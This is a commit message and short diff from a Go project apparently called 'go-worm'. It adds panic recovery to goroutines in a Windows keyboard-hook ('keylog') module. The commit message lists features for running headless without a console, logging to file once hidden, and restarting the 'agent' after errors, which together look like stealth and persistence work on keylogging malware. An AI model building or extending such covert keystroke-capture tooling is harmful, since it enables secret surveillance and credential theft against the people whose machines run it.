refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/keylog/hook_windows.go

@@ -10,6 +10,7 @@ import (
 	"unsafe"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 const (
@@ -83,12 +84,14 @@ func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan
 
 	go func() {
 		defer close(done)
+		defer helpers.RecoverLog("keylog-hook")
 		_ = runHookThread(ready)
 		hookEvents = nil
 		hookThreadID = 0
 	}()
 
 	go func() {
+		defer helpers.RecoverLog("keylog-stop")
 		select {
 		case <-ready:
 		case <-stop: